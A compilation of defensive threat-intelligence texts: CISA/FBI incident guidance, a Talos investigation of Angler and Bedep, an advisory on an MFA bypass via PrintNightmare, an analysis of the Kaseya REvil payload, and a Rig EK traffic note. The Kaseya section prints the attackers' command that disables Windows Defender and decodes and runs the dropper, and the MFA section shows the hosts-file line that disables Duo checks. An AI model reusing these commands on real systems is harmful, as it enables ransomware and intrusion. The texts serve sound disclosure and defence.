- Enterprise network topology and architecture diagrams
- System and application documentation
- Hard copies of operational checklists and playbooks
- System and application configuration backup files
- Data backup files (full/differential)
- System and application security baseline and hardening checklists/guidelines
- System and application integrity test and acceptance checklists
### Incident Response
Victims of destructive malware attacks should immediately focus on containment to reduce the scope of affected systems. Strategies for containment include:
- Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable) —from which a malicious payload could have been delivered:
- Centralized enterprise application
- Centralized file share (for which the identified systems were mapped or had access)
- Privileged user account common to the identified systems
- Network segment or boundary
- Common Domain Name System (DNS) server for name resolution
- Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact:
- Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems
- Provides an immediate capability to isolate and sandbox specific systems or resources.
- Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed
- An organization’s internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application.
- Readily disable access for suspected user or service account(s)
- For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems
- Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets).
As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA and to preserve forensic data for use in internal investigation of the incident or for possible law enforcement purposes.
## CONTACT
All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at [email protected] or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected].
## RESOURCES
- Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure
- Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems
- Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems
- CISA and MS-ISAC: Joint Ransomware Guide
- NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events
- NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events
- CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware. By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. |
# Bedep Lurking in Angler's Shadows
This post is authored by Nick Biasini.
In October 2015, Talos released our detailed investigation of the Angler Exploit Kit which outlined the infrastructure and monetary impact of an exploit kit campaign delivering ransomware. During the investigation, we found that two thirds of Angler's payloads were some variation of ransomware and noted one of the other major payloads was Bedep. Bedep is a malware downloader that is exclusive to Angler. This post will discuss the Bedep side of Angler and draw some pretty clear connections between Angler and Bedep.
Adversaries continue to evolve and have become increasingly good at hiding the connections to the nefarious activities in which they are involved. As security researchers, we are always looking for the breadcrumbs that can link these threats together to try and identify the connections and groups that operate. This is one of those instances where a couple of crumbs came together and formed some unexpected connections. By tying together a couple of registrant accounts, email addresses, and domain activity, Talos was able to track down a group that has connections to threats on multiple fronts including exploit kits, trojans, email worms, and click fraud. These activities all have monetary value, but are difficult to quantify unlike a ransomware payload with a specific cost to decrypt.
## Back in the 0-Day
Let's start a little more than a year ago with the Angler Flash 0-day (CVE-2015-0310). It's not the 0-day that's of interest. Instead, it's the group that was hosting it. This was around the time when Angler began distribution via Domain Shadowing, accounting for the majority of domain activity hosting Angler. Domain Shadowing is the process of leveraging hacked registrant accounts to host malicious activity under subdomains. It started with Angler and has propagated through most exploit kits. What was interesting about the Flash 0-day was that it initially wasn't being hosted using shadowed domains. Instead, it was using registered domains. A sample of the domains being used can be found below.
During the investigation, we began looking deeper at these domains and found that they were all registered under a single email address: [email protected]. At this point, Talos was already blocklisting the domains associated with this registrant account and began tracking it accordingly.
## Angler Research
Let's fast forward to the months leading up to our report published in October 2015. Talos gathered landing page URLs as well as URLs associated with the rest of the Angler infection chain. We looked at additional ways to group and slice the data specifically associated with landing pages. While inspecting the length of the parameters, we found something interesting. For 90% of the landing pages, we found the parameters were less than 50 characters in length. The payloads associated with this 90% varied quite considerably, but were predominantly ransomware.
We found a group of ~10% that had a parameter around 100 characters. That was a significant deviation from what would be considered "normal" parameter length. We began then looking at the payloads and found that every instance we traced that had a parameter of greater than 100 was delivering Bedep. There are some interesting implications here. Is it possible that the instance or instances delivering Bedep are different from the instances delivering additional payloads?
This became an even stronger possibility when we started finding double Angler infections. It started with users being compromised by Angler and getting an initial payload of Bedep. This was followed up with command and control or C2 communication and a download of click fraud software. This is normal behavior for Bedep. However, there was an additional step. At some point after the infection, we began seeing users being directed to other Angler instances. These systems were delivering other payloads, most commonly ransomware variants. These seemed to point further to the Angler instances delivering Bedep being different from those delivering other payloads. Why would one Angler user direct their compromised users to other Angler instances?
We've mentioned multiple times the Bedep C2 communication; the next section will focus on Bedep. Below are some samples of the domains we started to encounter.
## Bedep
This is obviously using a domain generating algorithm, or DGA. It's been documented that Bedep makes use of the exchange rates being hosted by the European Central Bank as one of the seeds for the DGA, which is an indicator of Bedep infection. If investigating a potential Angler infection and a GET request to www.ecb.europa.eu is observed, there is a high probability the system was compromised with Bedep. We had a large list of DGA-based domains and found our first interesting connection.
The majority of the C2 domains were registered to the same registrant. This registrant also held all of the domains that were first seen hosting the Flash 0-day. There is a basic pattern for Bedep C2: the DGA domains for that particular day are registered, they are active while users connect to them, and then go dark. We profiled these sites and found that they use the same "stock" webpage. A sample of the web page is shown below:
This is a unique "stock" webpage with an image of pills in the header and a section of links in the body. In general, these links do not go anywhere, redirecting back to this main page.
## Rabbit Hole Referers
The analysis continued with a focus on the referer data with a couple of interesting discoveries. They have been labeled as "rabbit hole referers" because they led us down a rabbit hole of domains, IPs, and compromise. This led us to the threat actor(s) responsible for a significant amount of Angler activity and a close link to the Bedep downloader.
First, Talos noticed a set of referers that were using a group of domains that resembled news4newsXXXX.com where XXXX is some variant of year (i.e., 14, 15, 2014, 2015). Leveraging OpenDNS, Talos found that a single registrant account was responsible for all these domains. One interesting thing to note is the use of BizCN registrar. There has been information around various other exploit kits using BizCN registered domains as a gate. This could be yet another exploit kit making use of the same type of service.
Talos viewed these web pages and they appear to be a normal news site, a sample of which is shown below.
However, whenever Angler redirection was found, there were a couple of interesting features. First, the syntax used was similar to the following:
`news4news14[.]com/?source=7-381898&campaign_id=2849`
This syntax indicates it may be part of a malvertising campaign based on the campaign_id variable. However, browsing to something as simple as 'news4news14.com/?q=junk', the user was directed to an Angler URL with no malicious data served. The second interesting feature relates to the sites that referred to news4newsXXX.com. There were a large number of referers that appeared to be using some sort of search function to direct users. However, Talos was not able to find any legitimate traffic to these domains. It appeared to be exclusively used as a referrer. Talos dove deeper on two of these referrers in particular:
`dinorinwass[.]com/search.php`
`wittalparuserigh[.]com`
Again, leveraging OpenDNS, Talos was able to identify more information regarding the first domain. The registrant email address [email protected] was then used to gather information from DomainTools. This led Talos to a name of 'David Bowers' that had a significant amount of domains registered to them, as well as a list of other domains that OpenDNS had categorized as malicious from [email protected]. We were also able to pull a screen capture of the default webpage for this site. The results are familiar, but not identical to the other sites. This site makes use of notes in the top left of the header as opposed to the pills present in the other examples.
Research into some of these domains turned up some interesting results. Talos found that this particular registrant account was also tied to domains associated with other threats including Bedep, Kazy, Symmi, and Chir mail worm. The registrant held domains that are closely related to those Trojans. As far as its relation to Bedep, we found DGA domains registered to this registrant, as well as domains hosting click-fraud ads. Below are samples of the requests to the DGA as well as a GET request for one of the ads.
### Sample Bedep DGA
### Sample Click Fraud Ad
The name 'David Bowers' became increasingly important when looking through the domains associated with [email protected]. It turns out that the same name and address are being used for a portion of domains associated with [email protected].
The other referer that kept showing up repeatedly was wittalparuserigh[.]com. The interesting part was that we could find numerous instances where that site was a referer to one of the news4news sites, but we could not find a single instance of a user browsing to that page or any subpage directly. At this point, we were curious about the actual redirecting webpage contents, so we went to the URL and found:
That image should look familiar. It is an exact copy of all the webpages that were found on the sites running the C2 for Bedep. The data pointed to a connection to [email protected]. The next step was to start investigating wittalparuserigh[.]com. However, as shown above, we did not find any reference to [email protected]. Instead, we found a different email address associated with the domain. Next, we looked at what additional domains were registered with this email address. This user had an interesting mix of websites including normal looking domains, DGA-like domains, and adult websites. It's hard to imagine this user could be linked to Angler using the same default web page as the Bedep C2 sites and not have some connection.
Taking these domains and running a quick search in ThreatGrid found matches for some of the domains. Additional analysis shows that this account's domains are tied to multiple different threats, such as a Necurs Variant, Kazy, and Lurk.
## Recap
Let's pause for a minute and recap all that has been discussed to this point. It started a year ago with the Adobe Flash 0-Day that was incorporated into Angler (CVE-2015-0310). The infrastructure used to deliver the Flash 0-day exploit led Talos to a series of domains that were not shadowed and registered to a single email address ([email protected]). Talos then started investigating these various leads and ended up with a group of three email addresses.
There is one final note here. While Talos was continuing its research, @Kafeine posted a story about 'XXX' or the true name of the Angler exploit kit. In this post, there was a discussion regarding one of the original Angler users --the indexm.html instance. While looking at the information, we noticed something very interesting; some of the domains pointed back to this same email [email protected].
## Angler Exploit Server Visibility
Moving back to the recent research of Angler. The image below should look familiar. It is the diagram illustrating the infrastructure we exposed.
After our research was published, Talos was able to get some information regarding the communications of an Angler exploit server. This included repeated connections on TCP port 225 from the exploit server to another host. This port is actually a reserved IANA port, but in this case was being used as an HTTP server with basic authentication.
This connection was made repeatedly and each time returned an executable, with a different hash, that was being used to deliver content to the compromised user. This appeared to be the system that was delivering payloads to the users. The payload host was specified in the HTTP transactions, but was not accompanied by DNS requests. We immediately began looking at this host and found an overlap.
The domain specified in the HTTP requests to the Exploit Server is owned by the same registrant account that was redirecting users to Angler landing pages with a website using the "stock" Bedep C2 web page. This brought the data full circle and cemented the link between Angler and Bedep.
### List of Domains Registered
- [email protected] Domains
- [email protected] Domains
- [email protected] Domains
*Note that these addresses are actively registering domains so the list may not be exhaustive.*
## Conclusion
The organizations responsible for these exploit kit campaigns are generating millions of dollars in revenue. As a result, they are continually evolving to maximize the amount of users that are impacted. Security researchers are constantly trying to find common threads or connections between threats or groups of threats. This research is an excellent example of how leveraging little crumbs of information and gathering over long periods of time can provide meaningful results.
At this point, Talos can draw strong connections between Angler and Bedep. It stands to reason that the instances of Angler that are delivering Bedep are actually tied to Angler itself. This would explain Bedep being leveraged to drive users to other Angler instances. It would ensure, as an Angler customer, a certain amount of users would be guaranteed to be driven to the Angler instance. This would also tie back to the instance that was initially delivering the Flash 0-day, which was also owned by the same group. The additional connection on the back-end of Angler activity to the system delivering the payloads is yet another thread that keeps these two groups closely aligned. It's not possible with the data we have to say for certain that the two groups are in fact the same. However, there are a lot of coincidences that we have outlined to make the case that they are at the very least closely related and leveraging some of the same infrastructure.
Additionally, through this investigation, we have found links between these activities and other threats including several different trojans that can be delivered through multiple methods including as email attachments. This points to a larger organization that is using various threats to infect users for monetary gain. |
# Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability
## Summary
### Multifactor Authentication (MFA): A Cybersecurity Essential
- MFA is one of the most important cybersecurity practices to reduce the risk of intrusions—according to industry research, users who enable MFA are up to 99 percent less likely to have an account compromised.
- Every organization should enforce MFA for all employees and customers, and every user should sign up for MFA when available.
- Organizations that implement MFA should review default configurations and modify as necessary, to reduce the likelihood that a sophisticated adversary can circumvent this control.
The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to warn organizations that Russian state-sponsored cyber actors have gained network access through exploitation of default MFA protocols and a known vulnerability. As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default MFA protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network. The actors then exploited a critical Windows Print Spooler vulnerability, “PrintNightmare” (CVE-2021-34527) to run arbitrary code with system privileges. Russian state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using Cisco’s Duo MFA, enabling access to cloud and email accounts for document exfiltration.
This advisory provides observed tactics, techniques, and procedures, indicators of compromise (IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity. FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this advisory, including the following:
- Enforce MFA and review configuration policies to protect against “fail open” and re-enrollment scenarios.
- Ensure inactive accounts are disabled uniformly across the Active Directory and MFA systems.
- Patch all systems. Prioritize patching for known exploited vulnerabilities.
## Technical Details
### Threat Actor Activity
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 10. See Appendix A for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an NGO, exploit a flaw in default MFA protocols, and move laterally to the NGO’s cloud environment. Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via compromised credentials [T1078] and enrolling a new device in the organization’s Duo MFA. The actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001], allowing them access to a victim account with a simple, predictable password. The victim account had been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active Directory. As Duo’s default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network.
Using the compromised account, Russian state-sponsored cyber actors performed privilege escalation [TA0004] via exploitation of the “PrintNightmare” vulnerability (CVE-2021-34527) [T1068] to obtain administrator privileges. The actors also modified a domain controller file, `c:\windows\system32\drivers\etc\hosts`, redirecting Duo MFA calls to localhost instead of the Duo server [T1556]. This change prevented the MFA service from contacting its server to validate MFA login—this effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to “Fail open” if the MFA server is unreachable. Note: “fail open” can happen to any MFA implementation and is not exclusive to Duo.
After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully authenticate to the victim’s virtual private network (VPN) as non-administrator users and make Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133]. The actors ran commands to obtain credentials for additional domain accounts; then using the method described in the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly compromised accounts. The actors leveraged mostly internal Windows utilities already present within the victim network to perform this activity. Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors were able to move laterally [TA0008] to the victim’s cloud storage and email accounts and access desired content.
### Indicators of Compromise
Russian state-sponsored cyber actors executed the following processes:
- `ping.exe` - A core Windows Operating System process used to perform the Transmission Control Protocol (TCP)/IP Ping command; used to test network connectivity to a remote host [T1018] and is frequently used by actors for network discovery [TA0007].
- `regedit.exe` - A standard Windows executable file that opens the built-in registry editor [T1112].
- `rar.exe` - A data compression, encryption, and archiving tool [T1560.001]. Malicious cyber actors have traditionally sought to compromise MFA security protocols as doing so would provide access to accounts or information of interest.
- `ntdsutil.exe` - A command-line tool that provides management facilities for Active Directory Domain Services. It is possible this tool was used to enumerate Active Directory user accounts [T1003.003].
Actors modified the `c:\windows\system32\drivers\etc\hosts` file to prevent communication with the Duo MFA server:
```
127.0.0.1 api-<redacted>.duosecurity.com
```
The following access device IP addresses used by the actors have been identified to date:
- 45.32.137[.]94
- 191.96.121[.]162
- 173.239.198[.]46
- 157.230.81[.]39
## Mitigations
The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber actors exploiting default MFA protocols and exfiltrating sensitive information. Organizations should:
- Enforce MFA for all users, without exception. Before implementing, organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios.
- Implement time-out and lock-out features in response to repeated failed login attempts.
- Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems, etc.
- Update software, including operating systems, applications, and firmware on IT network assets in a timely manner. Prioritize patching known exploited vulnerabilities, especially critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet-facing equipment.
- Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords. Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.
- Continuously monitor network logs for suspicious activity and unauthorized or unusual login attempts.
- Implement security alerting policies for all changes to security-enabled accounts/groups, and alert on suspicious process creation events (ntdsutil, rar, regedit, etc.).
Note: If a domain controller compromise is suspected, a domain-wide password reset—including service accounts, Microsoft 365 (M365) synchronization accounts, and krbtgt—will be necessary to remove the actors’ access. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
FBI and CISA also recommend organizations implement the recommendations listed below to further reduce the risk of malicious cyber activity.
### Security Best Practices
- Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB) Signing, restrict Administrative privileges (local admin users, groups, etc.), and review sensitive materials on domain controller’s SYSVOL share.
- Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint detection and response (EDR) are deployed to all endpoints and enabled.
- Routinely verify no unauthorized system modifications, such as additional accounts and Secure Shell (SSH) keys, have occurred to help detect a compromise. To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system.
### Network Best Practices
- Monitor remote access/RDP logs and disable unused remote access/RDP ports.
- Deny atypical inbound activity from known anonymization services, to include commercial VPN services and The Onion Router (TOR).
- Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
- Regularly audit administrative user accounts and configure access control under the concept of least privilege.
- Regularly audit logs to ensure new accounts are legitimate users.
- Scan networks for open and listening ports and mediate those that are unnecessary.
- Maintain historical network activity logs for at least 180 days, in case of a suspected compromise.
- Identify and create offline backups for critical assets.
- Implement network segmentation.
- Automatically update anti-virus and anti-malware solutions and conduct regular virus and malware scans.
### Remote Work Environment Best Practices
With an increase in remote work environments and the use of VPN services, the FBI and CISA encourage organizations to implement the following best practices to improve network security:
- Regularly update VPNs, network infrastructure devices, and devices used for remote work environments with the latest software patches and security configurations.
- When possible, implement multi-factor authentication on all VPN connections. Physical security tokens are the most secure form of MFA, followed by authenticator applications. When MFA is unavailable, require employees engaging in remote work to use strong passwords.
- Monitor network traffic for unapproved and unexpected protocols.
- Reduce potential attack surfaces by discontinuing unused VPN servers that may be used as a point of entry for attackers.
### User Awareness Best Practices
Cyber actors frequently use unsophisticated methods to gain initial access, which can often be mitigated by stronger employee awareness of indicators of malicious activity. The FBI and CISA recommend the following best practices to improve employee operations security when conducting business:
- Provide end-user awareness and training. To help prevent targeted social engineering and spearphishing scams, ensure that employees and stakeholders are aware of potential cyber threats and delivery methods. Also, provide users with training on information security principles and techniques.
- Inform employees of the risks associated with posting detailed career information to social or professional networking sites.
- Ensure that employees are aware of what to do and whom to contact when they see suspicious activity or suspect a cyberattack, to help quickly and efficiently identify threats and employ mitigation strategies.
## Information Requested
All organizations should report incidents and anomalous activity to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or [email protected] and/or CISA’s 24/7 Operations Center at [email protected] or (888) 282-0870.
## APPENDIX A: Threat Actor Tactics and Techniques
See table 1 for the threat actors’ tactics and techniques identified in this CSA. See the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
### Table 1: Threat Actor MITRE ATT&CK Tactics and Techniques
| Tactic | Technique |
|--------------------------------------------------|----------------------------------------------------|
| Initial Access [TA0001] | Valid Accounts [T1078] |
| Persistence [TA0003] | External Remote Services [T1133] |
| | Modify Authentication Process [T1556] |
| Privilege Escalation [TA0004] | Exploitation for Privilege Escalation [T1068] |
| Defense Evasion [TA0005] | Modify Registry [T1112] |
| Credential Access [TA0006] | Brute Force: Password Guessing [T1110.001] |
| | OS Credential Dumping: NTDS [T1003.003] |
| Discovery [TA0007] | Remote System Discovery [T1018] |
| Lateral Movement [TA0008] | |
| Collection [TA0009] | Archive Collected Data: Archive via Utility [T1560.001] |
## Revisions
March 15, 2022: Initial Version |
# Kaseya Supply Chain Ransomware Attack - Technical Analysis of the REvil Payload
On July 2, 2021, Kaseya, an IT Management software firm, disclosed a security incident impacting their on-premises version of Kaseya's Virtual System Administrator (VSA) software. Kaseya VSA is a cloud-based Managed Service Provider (MSP) platform that allows service providers to perform patch management, backups, and client monitoring for their customers. Per Kaseya, the majority of their customers that rely on Software-as-a-Service (SaaS) based offerings were not impacted by this issue; only a small percentage (less than 40 worldwide) running on-premise instances of Kaseya VSA server were affected, though it is believed that 1,000+ organizations were impacted downstream. Below is the ThreatLabz technical deep-dive on the attack.
## Infection Overview
The threat actor behind this attack identified and exploited a zero-day vulnerability in the Kaseya VSA server. The compromised Kaseya VSA server was used to send a malicious script to all clients that were managed by that VSA server. The script was used to deliver REvil ransomware that encrypted files on the affected systems.
The malicious script contained the following Windows batch commands:
```
C:\windows\system32\cmd.exe /c ping 127.0.0.1 -n 7615 > nul &
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking1\agent.crt c:\kworking1\agent.exe & del /q /f c:\kworking1\agent.crt C:\Windows\cert.exe & c:\kworking1\agent.exe
```
The PowerShell script present in the commands above disables some features of Windows Defender such as real-time protection, network protection, scanning of downloaded files, sharing of threat information with Microsoft Active Protection Service (MAPS), and automatic sample submission.
`certutil.exe` is used to decode the Base64 encoded payload located in `agent.crt` and writes the result to an executable file named `agent.exe` in the working directory of Kaseya. The Windows batch script then executes the `agent.exe` file, which will create and launch the REvil ransomware payload.
## REvil/Sodinokibi Ransomware
The executable `agent.exe` is digitally signed with a valid digital signature with the following signer information:
- **Name:** PB03 TRANSPORT LTD.
- **Email:** [email protected]
- **Issuer:** CN = Sectigo RSA Code Signing CA, O = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB
- **Thumbprint:** 11FF68DA43F0931E22002F1461136C662E623366
- **Serial Number:** 11 9A CE AD 66 8B AD 57 A4 8B 4F 42 F2 94 F8 F0
Upon execution, the file `agent.exe` drops two additional files which are present in its resource section with the names `SOFTIS` and `MODLIS`. These two files are written to the `C:\Windows` directory. If the malware is unable to write to this location (e.g., insufficient permissions), these files will alternatively be dropped in the Windows `%temp%` directory. These two files are:
- **MsMpEng.exe** - This is a legitimate application of Windows Defender and vulnerable to side-loading attacks.
- **mpsvc.dll** - This is an REvil ransomware DLL.
The executable file `agent.exe` then executes `MsMpEng.exe`, which is vulnerable to a DLL side-loading attack to load the REvil ransomware DLL file `mpsvc.dll` that is located in the same directory. As a result of the vulnerability, the Windows Defender executable will load the REvil DLL into its own context.
This variant of REvil (aka Sodinokibi) ransomware uses several techniques to evade security products. This includes the malware using a custom packer, with the REvil payload distributed as a portable executable (PE) with a modified header. This is likely designed to evade security software products that are not able to properly handle PE files that have been modified.
The malware binary has an embedded encrypted configuration which is decrypted using RC4 encryption at runtime. The REvil ransomware configuration contains specific settings for the malware. The configuration is stored in JSON format with the configuration parameters shown in the table below.
| Configuration | Description |
|---------------|-------------|
| arn | Establish persistence via an autorun registry value |
| dbg | Enable debug mode |
| dmn | Semicolon separated list of potential C&C domains |
| et | Encryption type (partial or full) |
| exp | Attempt to elevate privileges by exploiting a local privilege escalation (LPE) vulnerability |
| img | Base64 encoded ransom wallpaper |
| nbody | Base64 encoded ransom note |
| net | Send beacons to the REvil command and control server |
| nname | File name of ransom note dropped in folders where files were encrypted |
| pid | Unique ID to identify this attack |
| pk | Base64 encoded value of attacker’s public key used to encrypt files |
| prc | List of processes to kill |
| rdmcnt | Readme count (always set to 0) |
| sub | Possible campaign/affiliate ID or just sub version number |
| svc | List of services to stop |
| wfld | Directories to wipe |
| wht | List of allowed extensions, folder names and file names |
| wipe | Wipe specified directories |
This variant of REvil has the key `net` assigned with the value `false`, which instructs the ransomware not to beacon information back to the C&C domains after encryption. This is likely to evade network-based signatures that could potentially alert victims to an ongoing attack. The REvil configuration in the Kaseya attack disables persistence through the `arn` configuration parameter, which may also be designed to evade early-stage detection.
Before the encryption process, the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\BlackLivesMatter` is created to store the victim’s and attacker’s encryption key information and the file extension to be appended.
The registry key values are described below:
| Registry Value Name | Description |
|---------------------|-------------|
| 96Ia6 | Victim’s secret key encrypted with the attacker’s public key (“pk”) |
| Ed7 | Attacker’s public key |
| JmfOBvhb | Encrypted victim’s key (same as key present in ransom note) |
| QIeQ | Victim’s public key |
| Ucr1RB | Victim’s secret key encrypted with master public key |
| wJWsTYE | Extension to be appended after encryption |
REvil changes the Windows firewall settings to allow the local system to be discovered on the local network by other computers with the command:
```
netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
```
## File Encryption Process
REvil ransomware will encrypt all files that are not contained within the allowlisted filenames and extension fields, which are stored in the configuration. REvil reads each file, encrypts the contents, and writes the result back to the original file to prevent file recovery. After the encryption, a footer is written to the end of the file and the encrypted file is renamed with an appended file extension. REvil ransomware uses a combination of Curve25519 (asymmetric) and Salsa20 (symmetric) encryption algorithms to encrypt files on the system. The Salsa20 encryption key is derived from the victim's public key and secret key of the key pair generated for each file. To decrypt a file, the victim's secret key and file public key must be known.
The ransomware writes a footer that has a size of 232 (0xE8) bytes at the end of every encrypted file. The footer metadata contains the information shown below:
| Parameter | Data size | Description |
|------------------------------|-----------|-------------|
| attacker_public_key | 0x58 | Victim’s secret key encrypted with the attacker’s public key |
| master_public_key | 0x58 | Victim’s secret key encrypted with a master public key |
| file_public_key | 0x20 | Public key generated for each file |
| salsa20_nonce | 0x8 | Salsa-20 nonce |
| crc32_file_public_key | 0x4 | CRC32 checksum of file_public_key |
| et_config | 0x4 | Encryption type (0 in this case) |
| sk_size | 0x4 | Bytes to skip during encryption |
| null_encrypted | 0x4 | NULL value encrypted with Salsa20 encryption |
An example REvil footer is shown below, with the corresponding fields highlighted.
After the encryption, REvil drops a ransom note with the format `{random alphanumeric characters}-readme.txt` based on the `rdmcnt` configuration (in this case, `rdmcnt` is set to zero, so REvil will drop a ransom note in every directory). The ransomware then drops the content to a file from the `img` configuration value in the Windows `%temp%` directory and sets the wallpaper to use this file on the infected system.
The author of REvil ransomware has posted attack details on their leak website. The group is currently demanding $70 million worth of Bitcoin for a master decryption tool.
## Indicators of Compromise (IOCs)
The following IOCs can be used to detect REvil infections used in the Kaseya attack.
| Hash | Type | Description |
|-------------------------------------------------------------------------------------------|------|-------------|
| 95f0a946cd6881dd5953e6db4dfb0cb9 | MD5 | agent.crt (encoded REvil dropper) |
| 561cffbaba71a6e8cc1cdceda990ead4 | MD5 | agent.exe (REvil dropper) |
| a47cf00aedf769d60d58bfe00c0b5421 | MD5 | mpsvc.dll (REvil ransomware) |
| 7ea501911850a077cf0f9fe6a7518859 | MD5 | mpsvc.dll (REvil ransomware) |
| 2093c195b6c1fd6ab9e1110c13096c5fe130b75a84a27748007ae52d9e951643 | SHA256 | agent.crt (encoded REvil dropper) |
| d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e | SHA256 | agent.exe (REvil dropper) |
| 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd | SHA256 | mpsvc.dll (REvil ransomware) |
| e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 | SHA256 | mpsvc.dll (REvil ransomware) |
The full list of 1200+ hardcoded beacon domains related to this REvil variant can be found. |
# RIG EK SENDS BUNITU TROJAN
## ASSOCIATED FILES:
- Zip archive of the email and malware: **2017-05-09-Rig-EK-sends-Bunitu.pcap.zip** (462 kB)
- **2017-05-09-Rig-EK-sends-Bunitu.pcap** (554,307 bytes)
- Zip archive of the malware: **2017-05-09-Rig-EK-sends-Bunitu-artifacts.zip** (247 kB)
- **2017-05-09-Rig-EK-artifact-o32.tmp.txt** (1,141 bytes)
- **2017-05-09-Rig-EK-flash-exploit.swf** (16,500 bytes)
- **2017-05-09-Rig-EK-landing-page.txt** (118,254 bytes)
- **2017-05-09-Rig-EK-payload.exe** (172,512 bytes)
- **2017-05-09-slotdown.info.txt** (59,757 bytes)
- **2017-05-09-slotdown3.info-1945.txt** (578 bytes)
- **airzaxz.dll** (26,624 bytes)
## NOTES:
I generated traffic based on a blog post by @Zerophage1337 about Rig EK because I wanted to catch the Rig EK malware payload. The Rig EK payload seems to be Bunitu based on the post-infection traffic. This is similar to a post from Zerophage on 2017-03-20 and appears to be the same campaign.
## TRAFFIC
- **Associated Domains:**
- 78.46.232.211 port 80 - slotdown.info - GET /
- 78.46.232.211 port 80 - slotdown3.info - GET /1945/?
- 109.234.36.216 port 80 - free.420native.org - Rig EK
- 209.85.144.100 port 443 - encrypted/encoded post-infection traffic
- 85.25.110.235 port 443 - encrypted/encoded post-infection traffic
- 217.118.19.171 port 443 - encrypted/encoded post-infection traffic
- 96.44.144.181 port 443 - encrypted/encoded post-infection traffic
- DNS query for b.trabiudsfaum.net - resolved to 84.218.38.200 but no follow-up traffic
- DNS query for l.trabiudsfaum.net - resolved to 216.181.91.136 but no follow-up traffic
- ICMP ping requests to 52.173.193.166 but no response
## FILE HASHES
- **RIG EK FLASH EXPLOIT:**
- SHA256 hash: `81549d2ea47649a750bd4fc6e7be0b971c3fc6711a31af2f77ba437218ff63d1`
- File size: 16,500 bytes
- **RIG EK PAYLOAD (BUNITU):**
- SHA256 hash: `b27b370597fc8155f518dbc07f188c30ebc8e1d210f181acaf36ddb20714d64e`
- File location: `C:\Users\[Username]\AppData\Local\Temp\[random characters].exe`
- File size: 172,512 bytes
- **ARTIFACT FROM THE INFECTED HOST:**
- SHA256 hash: `43be87120cbd555dc926becbe92fd7a0b2a43d1dd0418b3184d59c676c81eaf6`
- File location: `C:\Users\[Username]\AppData\Local\airzaxz.dll`
- File size: 26,624 bytes
## FINAL NOTES
Once again, here are the associated files:
- Zip archive of the email and malware: **2017-05-09-Rig-EK-sends-Bunitu.pcap.zip** (462 kB)
- Zip archive of the malware: **2017-05-09-Rig-EK-sends-Bunitu-artifacts.zip** (247 kB)
